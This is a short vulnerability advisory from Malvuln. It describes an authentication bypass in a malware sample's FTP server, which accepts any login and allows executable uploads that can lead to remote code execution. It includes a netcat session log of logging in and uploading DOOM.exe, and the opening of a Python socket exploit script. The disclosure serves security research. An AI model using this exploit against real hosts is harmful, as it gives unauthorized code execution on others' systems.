Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d.txt
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2022-0559
C:\>nc64.exe 192.168.18.125 5301
220 ICS FTP Server ready.
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,125,195,126).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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